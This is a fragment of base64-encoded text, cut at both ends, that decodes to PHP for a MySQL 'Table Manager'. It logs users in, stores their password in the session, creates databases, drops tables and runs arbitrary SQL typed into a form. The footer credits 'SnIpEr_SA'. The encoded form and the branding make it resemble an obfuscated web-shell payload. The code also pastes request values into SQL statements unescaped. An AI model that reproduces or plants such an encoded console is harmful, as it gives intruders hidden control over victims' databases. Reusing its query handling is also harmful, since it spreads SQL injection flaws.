hyZWY9JydhY3Rpb24nP3RhYmxlbmFtZT0kdGFibGVuYW1lJmFtcDtwZz0kZW5kJHN2YWwnIHRpdGxlPSdU byBMYXN0IHBhZ2UnPiA+PjogJGxzdDwvYT4gXG4iOw0KICAgICAgICAgICB9DQogICAgICAgICAgICRwYW dlc2Nyb2wgLj0gIjwvZm9ybT5cbiI7DQogICAgICAgICAgICRwYWdlc2Nyb2wuPSI8L2Rpdj5cbiI7DQog ICAgICB9DQogICAgICAgIHJldHVybiAkcGFnZXNjcm9sOw0KfQ0KDQovLyoqKioqKioqKioqKipEaXNwbG F5IEZvb3RlcioqKioqKioqKioqKioqKioqKioqKioqKioNCi8vUGxlYXNlIGRvbid0IHJlbW92ZSBvciBj aGFuZ2UuDQpmdW5jdGlvbiBkaXNwbGF5X2Zvb3QoKXsNCg0KICAgIGVjaG8iPGRpdiBjbGFzcz0nZm9vdC c+VmVyc2lvbiAkdmVyc2lvbiAmY29weTsgIi5kYXRlKCdZJykuIiA8YSBzdHlsZT0ndGV4dC1kZWNvcmF0 aW9uOm5vbmU7JyB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovL3d3dy5TbklwRXItU0EuY29tJz5Tbk lwRXJfU0E8L2E+PC9kaXY+IjsNCg0KICAgIH0NCi8vKioqKioqKioqKioqKk15IFNpemUqKioqKioqKioq KioqKioqKioqKioqKioqDQovL1JldHVybnMgdGhlIHNpemUgb2YgYSB0YWJsZSBvciBkYXRhYmFzZQ0KZn VuY3Rpb24gbXlzaXplKCRkYm5hbWUsICR0YWJsZW5hbWUpew0KICAgICRsaWtlPSIiOw0KICAgICR0b3Rh bD0iIjsNCiAgICAkdD0wOw0KICAgIGlmKCR0YWJsZW5hbWUgIT0iIil7DQogICAgICAgICRsaWtlPSIgbG lrZSAnJHRhYmxlbmFtZSciOw0KICAgIH0NCiAgICAkc3FsPSAiU0hPVyBUQUJMRSBTVEFUVVMgRlJPTSAk ZGJuYW1lICRsaWtlIjsNCiAgICAvLyRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsKTsNCiAgICAkcmVzdW x0PWV4ZXF1ZXJ5KCRzcWwsICR0YWJsZW5hbWUsICRkYm5hbWUpOw0KICAgIGlmKCRyZXN1bHQpew0KDQog ICAgICAgIHdoaWxlKCRyZWMgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSl7DQogICAgICAgICAkdC s9KCRyZWNbJ0RhdGFfbGVuZ3RoJ10gKyAkcmVjWydJbmRleF9sZW5ndGgnXSk7DQogICAgICAgICB9DQog ICAgICAgICR0b3RhbCA9IjxzcGFuIGNsYXNzPSdieXRlcyc+JHQgYnl0ZXM8L3NwYW4+IjsNCiAgICB9ZW xzZXsNCiAgICAgICAgJHRvdGFsPSJVbmtub3dlbiI7DQogICAgfQ0KICAgIHJldHVybigkdG90YWwpOw0K fQ0KDQoNCi8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCi8vREVCVUcgdG8gc2 hvdyBhbGwgYmVpbmcgcGFzc2VkIHRvIHRoZSBwYWdlDQpmdW5jdGlvbiBzaG93cGFzc2luZ3ZhcnMoKXsN CiAgICAgICAgZWNobyJHZXQ6ICI7DQogICAgICAgICBmb3JlYWNoKCRfR0VUIGFzICRwcmFtPT4kdmFsdW Upew0KICAgICAgICAgICAgICAgICBlY2hvIiRwcmFtOiAkdmFsdWUsICI7DQogICAgICAgICB9DQogICAg ICAgIGVjaG8iPGJyPlBvc3Q6ICI7DQogICAgICAgICBmb3JlYWNoKCRfUE9TVCBhcyAkcHJhbT0+JHZhbH VlKXsNCiAgICAgICAgICAgICAgICAgIGVjaG8iJHByYW06ICR2YWx1ZSwgIjsNCiAgICAgICAgIH0NCiAg ICAgICAgIGVjaG8iPGJyPlNlc3Npb246ICI7DQogICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTiBhcyAkcH JhbT0+JHZhbHVlKXsNCiAgICAgICAgICAgICAgICAgZWNobyIkcHJhbTogJHZhbHVlLCAiOw0KICAgICAg
ICAgfQ0KIH0NCmVjaG8iPGh0bWw+XG4iOw0KZWNobyI8bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cG UnIGNvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTYnPlxuIjsNCmVjaG8iPGhlYWQ+ XG4iOw0KZWNobyI8dGl0bGU+09/RyMogx+HHytXH4SDI3ubH2s8gx+HI7cfkx8o8L3RpdGxlPlxuIjsNCm VjaG8iPFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAw MDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUj ogIzAwMDAwMDsgQ09MT1I6ICNmZmZmZmY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBT Q1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOT sgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9 DQoNCnRyIHsNCkJPUkRFUi1SSUdIVDogICNjY2NjY2MgOw0KQk9SREVSLVRPUDogICAgI2NjY2NjYyA7DQ pCT1JERVItTEVGVDogICAjY2NjY2NjIDsNCkJPUkRFUi1CT1RUT006ICNjY2NjY2MgOw0KY29sb3I6ICNm ZmZmZmY7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjY2NjY2NjIDsNCkJPUkRFUi1UT1A6ICAgICNjY2 NjY2MgOw0KQk9SREVSLUxFRlQ6ICAgI2NjY2NjYyA7DQpCT1JERVItQk9UVE9NOiAjY2NjY2NjIDsNCmNv bG9yOiAjY2NjY2NjOw0KfQ0KLnRhYmxlMSB7DQpCT1JERVI6IDE7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMD AwMDAwOw0KY29sb3I6ICMzMzMzMzM7DQp9DQoudGQxIHsNCkJPUkRFUjogMTsNCmZvbnQ6IDdwdCB0YWhv bWE7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCi50cjEgew0KQk9SREVSOiAxOw0KY29sb3I6ICNjY2NjY2M7DQ p9DQp0YWJsZSB7DQpCT1JERVI6ICAjZWVlZWVlICBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAw MDAwOw0KY29sb3I6ICNjY2NjY2M7DQp9DQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjOTkwMDAwIDEgc2 9saWQ7DQpCT1JERVItVE9QOiAgICAjOTkwMDAwIDEgc29saWQ7DQpCT1JERVItTEVGVDogICAjOTkwMDAw IDEgc29saWQ7DQpCT1JERVItQk9UVE9NOiAjOTkwMDAwIDEgc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOi AjMzMzMzMzOw0KZm9udDogOXB0IHRhaG9tYTsNCmNvbG9yOiAjZmZmZmZmOw0KfQ0Kc2VsZWN0IHsNCkJP UkRFUi1SSUdIVDogICNmZmZmZmYgMSBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMSBzb2xpZD sNCkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMSBz b2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7DQpmb250OiA5cHQgdGFob21hOw0KY29sb3I6IC NDQ0NDQ0M7Ow0KfQ0Kc3VibWl0IHsNCkJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAxIG91dHNldDsNCkJB Q0tHUk9VTkQtQ09MT1I6ICMyNzI3Mjc7DQp3aWR0aDogNDAlOw0KY29sb3I6ICNjY2NjY2M7DQp9DQp0ZX h0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjZmZmZmZmIDEgc29saWQ7DQpCT1JERVItVE9QOiAgICAjOTk5 OTk5IDEgc29saWQ7DQpCT1JERVItTEVGVDogICAjOTk5OTk5IDEgc29saWQ7DQpCT1JERVItQk9UVE9NOi AjZmZmZmZmIDEgc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMzMzMzMzOw0KZm9udDogRml4ZWRzeXMg Ym9sZDsNCmNvbG9yOiAjZmZmZmZmOw0KfQ0KQk9EWSB7DQptYXJnaW46IDE7DQpjb2xvcjogI2NjY2NjYz sNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQp9DQpBOmxpbmsge0NPTE9SOnJlZDsgVEVYVC1ERUNP UkFUSU9OOiBub25lfQ0KQTp2aXNpdGVkIHsgQ09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQ pBOmFjdGl2ZSB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOmhvdmVyIHtjb2xvcjpi bHVlO1RFWFQtREVDT1JBVElPTjogbm9uZX0NCg0KPC9TVFlMRT5cbiI7DQplY2hvIjxtZXRhIGh0dHAtZX F1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sIGNoYXJzZXQ9d2luZG93cy0xMjU2Jz4i Ow0KZWNobyI8dGl0bGU+09/RyMogx+HHytXH4SDI3ubH2s8gx+HI7cfkx8o8L3RpdGxlPlxuIjsNCmVjaG 8iPG1ldGEgbmFtZT0nYXV0aG9yJyBjb250ZW50PSdUb255IEFzbGV0dCc+IjsNCmVjaG8iPG1ldGEgbmFt ZT0ndGl0bGUnIGNvbnRlbnQ9J1BIUDpNeVNRTCBUYWJsZSBNYW5hZ2VyJz4iOw0KZWNobyI8bWV0YSBuYW 1lPSdkZXNjcmlwdGlvbicgY29udGVudD0nVGFibGUgTWFuYWdlciBmb3IgTXlTUUwgRGF0YWJhc2UnPiI7 DQplY2hvIjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaHJlZj0ndG1ncnN0eWxlcy5jc3MnIHR5cGU9J3RleH QvY3NzJz5cbiI7DQplY2hvIjwvaGVhZD5cbiI7DQplY2hvIjxib2R5PlxuIjsNCg0KJHNob3dhbGw9dHJ1 ZTsNCmVjaG8iPGgyIGNsYXNzPWggPtPf0cjKIMfhx8rVx+EgyN7mx9rPIMfhyO3H5MfKPC9oMj5cbiI7DQ ovLyoqKioqKioqKioqKioqKioqKiogU2Vzc2lvbiBMb2dvbiAqKioqKioqKioqKioqKioqKioqKioqKg0K aWYoaXNzZXQoJF9QT1NUWydsb2dvdXQnXSkpew0KDQogICAgICAgICAgICAgICAgJF9QT1NUWydkY m5hbWUnXT0iIjsNCiAgICAgICAgICAgICAgICBzZXNzaW9uX3Vuc2V0KCk7DQogICAgICAgICAgICAgICA gc2Vzc2lvbl9kZXN0cm95KCk7DQp9DQppZihpc3NldCgkX1BPU1RbJ3VzZXJpZCddKSAmJiBpc3NldCgkX 1BPU1RbJ3B3b3JkMSddKSl7DQogICAgICAgICRfU0VTU0lPTlsndXNlciddID0gJF9QT1NUWyd1c2VyaWQ nXTsNCiAgICAgICAgJF9TRVNTSU9OWydwYXNzd29yZCddID0gJF9QT1NUWydwd29yZDEnXTsNCn0NCg0Ka WYgKCFpc3NldCgkX1NFU1NJT05bJ3VzZXInXSkgfHwgIWlzc2V0KCRfU0VTU0lPTlsncGFzc3dvcmQnXSk pew0KICAgICAgICBlY2hvIjxkaXYgYWxpZ249Y2VudGVyPiI7DQogICAgICAgIGVjaG8iPGgyPsfPzuEgy O3H5MfKIMfh0+3R3dEgx+HjzsrR3jwvaDI+XG4iOw0KICAgICAgICBJZighaXNzZXQoJGRibmFtZWFycmF 5KSl7DQogICAgICAgICAgICAgICAgJGRibmFtZWFycmF5PSIiOw0KICAgICAgICB9DQogICAgICAgIHNob 3dfbG9naW4oJGRibmFtZWFycmF5KTsNCiAgICAgICAgZWNobyI8L2Rpdj4iOw0KfWVsc2V7DQogICAgICA gIC8vc2hvdyBsb2dvdXQgb3B0aW9uLg0KICAgICAgICBlY2hvIjxkaXYgYWxpZ249cmlnaHQ+IjsNCiAgI CAgICAgZW5kc2VzcygpOw0KICAgICAgICBlY2hvIjwvZGl2PiI7DQp9DQovLyoqKioqZGJuYW1lDQppZih pc3NldCgkX1BPU1RbJ2RibmFtZSddKSl7DQogICAgICAgICRkYm5hbWU9JF9QT1NUWydkYm5hbWUnXTsNC iAgICAkX1NFU1NJT05bJ2RibmFtZSddPSAkX1BPU1RbJ2RibmFtZSddOw0KfQ0KLy8qKioqKiBIb3N0DQp pZihpc3NldCgkX1BPU1RbJ2hvc3QnXSkpew0KICAgICRob3N0PSRfUE9TVFsnaG9zdCddOw0KICAgICRfU 0VTU0lPTlsnaG9zdCddPSRfUE9TVFsnaG9zdCddOw0KfQ0KLy8qKioqKipzZXQgdGFibGVuYW1lDQppZih
pc3NldCgkX0dFVFsndGFibGVuYW1lJ10pICl7DQogICAgICAgICR0YWJsZW5hbWU9JF9HRVRbJ3RhYmxlb mFtZSddOw0KfWVsc2VpZihpc3NldCgkX1BPU1RbJ3RhYmxlbmFtZSddKSl7DQogICAgICAgICR0YWJsZW5 hbWU9JF9QT1NUWyd0YWJsZW5hbWUnXTsNCn0NCi8vKioqKioqKioqKiBwYWdlbWF4DQppZihpc3NldCgkX 1BPU1RbJ3BhZ2VtYXgnXSkpeyAvLyYmIGlzX2ludCgkX1BPU1RbJ3BhZ2VtYXgnXSkpew0KICAgICRpc25 1bT10cnVlOw0KICAgIGZvcigkbz0wOyAkbzxjb3VudCgkX1BPU1RbJ3BhZ2VtYXgnXSk7ICRvKyspew0KI CAgICAgICAgICAgaWYoJF9QT1NUWydwYWdlbWF4J11bJG9dPjkpew0KICAgICAgICAgICAgICAgICRpc25 1bT1mYWxzZTsNCiAgICAgICAgICAgIH0NCiAgICB9DQogICAgaWYoJF9QT1NUWydwYWdlbWF4J10+MCAmJ iAkaXNudW0pew0KICAgICAgICAkX1NFU1NJT05bJ3BhZ2VtYXgnXT0kX1BPU1RbJ3BhZ2VtYXgnXTsNCiA gICB9DQp9DQogaWYoaXNzZXQoJF9TRVNTSU9OWydwYWdlbWF4J10pKXsNCiAgICAkcGFnZW1heD0kX1NFU 1NJT05bJ3BhZ2VtYXgnXTsNCiB9DQovLyoqKioqKioqIGNyZWF0ZSBhIG5ldyBEYXRhYmFzZSAqKioqKio qKioqKioNCmlmKGlzc2V0KCRfUE9TVFsnY25kYiddKSl7DQogICAgY29ubmVjdG15c3FsKCk7DQogICAgI CAgICRzcWw9ImNyZWF0ZSBkYXRhYmFzZSAkX1BPU1RbbmRibmFtZV0iOw0KICAgICAgICAkcmVzdWx0PWV 4ZXF1ZXJ5KCRzcWwsICIgIiwgJF9QT1NUWyduZGJuYW1lJ10pOw0KICAgICAgICBpZiAoJHJlc3VsdCl7D QogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydkYm5hbWUnXSA9ICRfUE9TVFsnbmRibmFtZSddOw0KICA gICAgICAkc3FsPSJVc2UgJF9QT1NUW25kYm5hbWVdIjsNCiAgICAgICAgICAgICRyZXN1bHQ9ZXhlcXVlc nkoJHNxbCwgIiAiLCAkX1BPU1RbJ25kYm5hbWUnXSk7DQogICAgICAgIGlmKCRyZXN1bHQpew0KICAgICA gICAgICAgZWNobyI8aDI+3sfaz8kgzM/tz8kgJF9TRVNTSU9OW2RibmFtZV0gPC9oMj5cbiI7DQogICAgI CAgIH0NCiAgICAgICAgfQ0KfQ0KDQovLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio qKioqKioqKg0KaWYgKCEgaXNzZXQoJF9TRVNTSU9OWydkYm5hbWUnXSkgJiYgISBpc3NldCgkZGJuYW1lY XJyYXkpICYmICEgaXNzZXQoJF9QT1NUWydkYm5hbWUnXSkgJiYgaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10 pKXsgLy8qKioqKioqKipwb3N0DQogICAgICAgIC8vRGF0YWJzZSBuYW1lcw0KICAgICAgICBzaG93ZGIoK TsNCn0NCi8vKioqKioqKioqKioqKioqKioqKioqKioqIENob29zZSBEQiAqKioqKioqKioqKioqDQppZih pc3NldCgkX1BPU1RbJ2RibmFtZSddKSAmJiAkX1BPU1RbJ2RibmFtZSddPT0iIil7DQogICAgc2hvd2RiK Ck7DQp9DQoNCi8vKioqKioqKioqKg0KaWYgKGlzc2V0KCRfU0VTU0lPTlsnZGJuYW1lJ10pIHx8IGlzc2V 0KCRfUE9TVFsnZGJuYSddKSB8fCBpc3NldCgkX1BPU1RbJ2RibmFtZSddKSl7DQovLyoqKioqKioqKioqK ioqKioqKioqKioqKioqKioqKioqKioqKioNCiAgICAgICAgICAgICAgICAvL2Nvbm5lY3Rpb24NCg0KICA gICAgICAgICAgICAgIGlmIChpc3NldCgkX1NFU1NJT05bJ2RibmFtZSddKSl7DQogICAgICAgICAgICAgI CAgICAgICAgICAkZGJzZXRuYW1lID0gJF9TRVNTSU9OWydkYm5hbWUnXTsNCiAgICAgICAgICAgICAgICB 9ZWxzZWlmKGlzc2V0KCRfUE9TVFsnZGJuYW1lJ10pKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkY nNldG5hbWUgPSAkX1BPU1RbJ2RibmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9 OWydkYm5hbWUnXSA9ICRfUE9TVFsnZGJuYW1lJ107DQogICAgICAgICAgICAgICAgfWVsc2V7DQogICAgI CAgICAgICAgICAgICAgICAgICAkZGJzZXRuYW1lID0gJF9QT1NUWydkYm5hJ107DQogICAgICAgICAgICA gICAgICAgICAgICAkX1NFU1NJT05bJ2RibmFtZSddID0gJF9QT1NUWydkYm5hJ107DQogICAgICAgICAgI CAgICAgfQ0KfQ0KLy8qKioqKioqKioqKioqKioqKioqKioqKioqKiogd2UgaGF2ZSBhIERCIHNldA0KaWY oaXNzZXQoJGRic2V0bmFtZSkgJiYgJGRic2V0bmFtZSE9IiIpew0KICAgICAgICAgICAgICAgICAgICAkb Gluaz0gY29ubmVjdG15c3FsKCk7DQogICAgICAgICAgICAvL2VjaG8iREJTOiAkZGJzZXRuYW1lIjsNCiA gICAgICAgICAgICAgICAgICAgJGNvbm4gPSBjb25uZWN0ZGIoJGRic2V0bmFtZSwgJGxpbmspOw0KDQovL yoqKioqKioqKioqIERyb3AgVGFibGUgKioqKioqKioqKioqKioNCiAgICAgICAgaWYoaXNzZXQoJF9QT1N UWydkZWx0YWJsZSddKSl7DQogICAgICAgICRzaG93YWxsPWZhbHNlOw0KICAgICAgICAgICAgICAgICR0Y WJsZW5hbWU9JF9QT1NUWyd0YWJsZW5hbWUnXTsNCiAgICAgICAgICAgICAgICBlY2hvIjxoMT4hISEgys3 Q7dEgISEhIDxicj7H5Mogys3H5uEg49PNIOXQxyDH4czP5uEgJHRhYmxlbmFtZTxicj4iOw0KICAgICAgI CAgICAgICAgIGVjaG8i5eEgx+TKIOPKx9/PIOPkIMfh3u3H4yDIx+Ha4+Ht5b8/PC9oMT5cbiI7DQogICA gICAgICAgICAgICAgJHZhPSJEcm9wICR0YWJsZW5hbWUiOw0KICAgICAgICAgICAgICAgIGdvdG8oJHRhY mxlbmFtZSwgJGRibmFtZSwkYWN0aW9uLCAnZGVsJywgJ2Ryb3B0YWInLCAkdmEgKTsNCiAgICAgICAgfQ0 KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2Ryb3B0YWInXSkpew0KICAgICAgICAgICAgICAgICR0YWJsZ W5hbWU9JF9QT1NUWyd0YWJsZW5hbWUnXTsNCiAgICAgICAgICAgICAgICAkZHNxbCA9ICJkcm9wIHRhYmx lICR0YWJsZW5hbWUiOw0KICAgICAgICAgICAgICAgICRyZXN1bHQ9ZXhlcXVlcnkoJGRzcWwsICR0YWJsZ W5hbWUsICRkYm5hbWUpOw0KICAgICAgICAgICAgICAgIHVuc2V0KCR0YWJsZW5hbWUpOyAvLz0iZmFsc2U iOw0KICAgICAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsndGFibGVuYW1lJ10pOw0KICAgICAgICB9DQovL yoqKioqKioqKioqKioqKioqV3JpdGUgWW91ciBPd24gUXVlcnkgKioqKioqKioqKioqKioqKioNCiAgICA gICAgaWYoaXNzZXQoJF9QT1NUWyd3eW9xJ10pKXsgIC8vcG9zdA0KICAgICAgICAgICAgICAgICR2YWx1Z T0ix+Hmx8zl5SDH4dHG7dPt5SDh4dPf0cjKIjsNCiAgICAgICAgICAgICAgICBnb3RvKCR0YWJsZW5hbWU sICRkYm5hbWUsICRhY3Rpb24sICdidXQnLCAnc3RhcnQnLCAkdmFsdWUgKTsNCiAgICAgICAgICAgICAgI CBlY2hvIjxmb3JtIG1ldGhvZD0ncG9zdCc+XG4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IHR 5cGU9J2hpZGRlbicgbmFtZT0nZGJuYW1lJyB2YWx1ZT0kZGJuYW1lPlxuIjsNCiAgICAgICAgICAgICAgI CAvL2VjaG8iPGlucHV0IHR5cGU9dGV4dCBuYW1lPSd3eXFvdGEnIHdpZHRoPSc1MDBweCcgc3R5bGU9J29 2ZXJmbG93LXg6dmlzaWJsZTsnPlxuIjsNCg0KICAgICAgICAgICAgICAgIGVjaG8iPHRleHRhcmVhIG5hb WU9J3d5b3F0YScgY29scz0nNjAnIHJvd3M9JzUnIHN0eWxlPSdvdmVyZmxvdy15OnZpc2libGUnPjwvdGV
4dGFyZWE+XG4iOw0KDQogICAgICAgICAgICAgICAgZWNobyI8YnI+PGlucHV0IGNsYXNzPWJ1dCB0eXBlP XN1Ym1pdCBuYW1lPSdydW5xdWVyeScgdmFsdWU9J0V4ZWN1dGUgUXVlcnknPlxuIjsNCiAgICAgICAgICA gICAgICBlY2hvIjwvZm9ybT48YnI+XG4iOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYoaXNzZXQoJF9QT 1NUWydydW5xdWVyeSddKSl7DQogICAgICAgICAgICAgICAgJHd5b3F0YSA9IFN0cmlwU2xhc2hlcygkX1B PU1RbJ3d5b3F0YSddKTsNCiAgICAgICAgICAgICAgICAkcmVzdWx0PWV4ZXF1ZXJ5KCR3eW9xdGEsICIgI iwgIiAiKTsNCg0KICAgICAgICAgICAgICAgIGlmKEBteXNxbF9udW1fcm93cygkcmVzdWx0KSA+MCl7DQo gICAgICAgICAgICAgICAgICAgICAgICAgJG51bXJvd3M9bXlzcWxfbnVtX3Jvd3MoJHJlc3VsdCk7DQogI CAgICAgICAgICAgICAgICAgICAgICAkZmxkcz1teXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOw0KICAgICA gICAgICAgICAgICAgICAgICAgZWNobyI8dGFibGU+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvc igkcj0wOyAkciA8ICRudW1yb3dzOyAkcisrKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA gZWNobyI8dHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJvdz1teXNxbF9mZXRja F9hcnJheSgkcmVzdWx0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRjb2wgPSA wOyAkY29sIDwgJGZsZHM7ICRjb2wgKyspew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI CAgICAgICRuc2xhc2ggPSBTdHJpcFNsYXNoZXMoJHJvd1skY29sXSk7DQogICAgICAgICAgICAgICAgICA gICAgICAgICAgICAgICAgICAgICAgZWNobyI8dGQ+JG5zbGFzaDwvdGQ+IjsNCiAgICAgICAgICAgICAgI CAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjwvdHI +IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iP C90YWJsZT4iOw0KICAgICAgICAgICAgICAgIH1lbHNlaWYgKG15c3FsX2FmZmVjdGVkX3Jvd3MoKSl7DQo gICAgICAgICAgICAgICAgICAgICAgICBlY2hvIiBOdW1iZXIgb2YgUm93cyBhZmZlY3RlZDogIi5teXNxb F9hZmZlY3RlZF9yb3dzKCk7DQogICAgICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgICA gICAgICBlY2hvIiBOb3RoaW5nIHJldHVybmVkIGZyb20gdGhlIHF1ZXJ5LiI7DQogICAgICAgICAgICAgI CAgfQ0KICAgICAgICB9DQovLyAqKioqKioqKioqKioqKioqTGlzdCBUYWJsZXMqKioqKioqKioqKioqKio qKioqKioqKioqKioNCg0KICAgICAgICBpZiggISBpc3NldCgkdGFibGVuYW1lKSB8fCAkdGFibGVuYW1lP T0iICIgKXsNCiAgICAgICAgICAgICAgICAkZGJuYW1lPSRfU0VTU0lPTlsnZGJuYW1lJ107DQogICAgICA gICAgICAgICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRfU0VTU0lPTlsnZGJuYW1lJ10pOw0KI CAgICAgICAgICAgICAgICAkbnVtdGFiID0gbXlzcWxfbnVtX3Jvd3MgKCRyZXN1bHQpOw0KICAgICAgICA gICAgICAgICBpZigkbnVtdGFiID09IDEpew0KICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OW yd0YWJsZW5hbWUnXSA9bXlzcWxfdGFibGVuYW1lKCRyZXN1bHQsIDApOw0KICAgICAgICAgICAgICAgICB 9DQoNCi8vKioqKioqKioqKioqKioqKiogQnV0dG9ucyAqKioqKioqKioqKioqKioqKioqKioqKioqKioqK ioNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydydW5xdWVyeSddKSl7DQogICAgICAgICA gICAgICAgICAgICAgICAkZGJuYW1lPSRfU0VTU0lPTlsnZGJuYW1lJ107DQogICAgICAgICAgICAgICAgI CAgICAgICAkdmFsdWU9IiRkYm5hbWUgU3RhcnQiOyAvL1RhYmxlIE1hbmFnZXIgU3RhcnQNCiAgICAgICA gICAgICAgICAgICAgICAgIGdvdG8oIiIsICRfU0VTU0lPTlsnZGJuYW1lJ10sICRhY3Rpb24sICdidXQnL CAndGFibGVzdGFydCcsICR2YWx1ZSApOw0KDQogICAgICAgICAgICAgICAgfWVsc2VpZiAoISBpc3NldCg kX1BPU1RbJ3d5b3EnXSkgJiYgISBpc3NldCgkX1BPU1RbJ3J1bnF1ZXJ5J10pKXsgLy93cml0ZSB5b3VyI G93biBxdWVyeS4NCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRhYmxlIHdpZHRoPTQwJSBib3J kZXI9MCBhbGlnbj0nbGVmdCcgPlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRyPjx0Z D4iOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAkdmE9IsXk1MfBIMzP5uEgzM/tzyI7DQogICAgICA gICAgICAgICAgICAgICAgICBnb3RvKCIiLCAkX1NFU1NJT05bJ2RibmFtZSddLCAiY3JlYXRlLnBocCIsI CdidXQnLCAnY3JlYXRlJywgJHZhICk7DQogICAgICAgICAgLy8gIGVjaG8iPGEgaHJlZj1jcmVhdGUucGh wIGNsYXNzPSdjcnQnPkNyZWF0ZSBuZXcgVGFibGU8L2E+XG4iOw0KICAgICAgICAgICAgICAgICAgICAgI CAgZWNobyI8L3RkPjx0ZD4iOw0KDQogICAgICAgICR2YWx1ZT0ix+Hmx8zl5SDH4dHG7dPt5SI7IC8vQ2h vb3NlIERCDQogICAgICAgICAgICAgICAgZ290bygiIiwgIiIsICRhY3Rpb24sICdidXQnLCAnZGInLCAkd mFsdWUgKTsNCiAgICAgICAgICAgICAgICBlY2hvIjwvdGQ+XG4iOw0KDQogICAgICAgICAgICAgICAgICA gICAgICAkdmFsdWU9IldyaXRlIFlvdXIgT3duIFF1ZXJ5IjsNCiAgICAgICAgICAgICAgICAgICAgICAgI GdvdG8oIiAiLCAkX1NFU1NJT05bJ2RibmFtZSddLCAkYWN0aW9uLCAnYnV0JywgJ3d5b3EnLCAkdmFsdWU gKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8L3RkPjwvdHI+IjsNCiAgICAgICAgICAgI CAgICAgICAgICAgIGVjaG8iPC90YWJsZT48YnI+PGJyPjxicj48YnI+PGRpdiBzdHlsZT0nY2xlYXI6Ym9 0aDsnPjwvZGl2PiI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRhYmxlIHdpZHRo PTEwMCUgYm9yZGVyPTAgYWxpZ249J2NlbnRlcicgPlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIG ZvciAoJGkgPTA7ICRpIDwgJG51bXRhYjsgJGkrKykgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICR0Yl9uYW1lc1skaV0gPSBteXNxbF90YWJsZW5hbWUoJHJlc3VsdCwgJGkpOw0KICAgICAgIC AgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjx0ciBjbGFzcz0nZnJvdyc+PHRkIGFsaWduPSdjZW50 ZXInPlxuIjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdmE9ItrR1iDMz+bhICogJH RiX25hbWVzWyRpXSI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdvdG8oJHRiX25hbWVz WyRpXSwgJF9TRVNTSU9OWydkYm5hbWUnXSwkYWN0aW9uLCAnYnV0JywgJHRiX25hbWVzWyRpXSwgJHZhIC 